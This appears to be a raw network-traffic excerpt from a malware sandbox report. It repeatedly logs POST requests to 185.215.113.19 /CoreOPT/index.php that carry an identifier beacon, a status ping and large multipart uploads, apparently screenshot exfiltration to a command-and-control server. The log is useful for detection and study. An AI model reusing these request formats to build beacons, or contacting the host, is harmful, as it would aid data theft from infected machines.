Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU2NzY=Host: 185.215.113.19Content-Length: 85828Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODc2MTc=Host: 185.215.113.19Content-Length: 87769Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTEzODE=Host: 185.215.113.19Content-Length: 91533Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
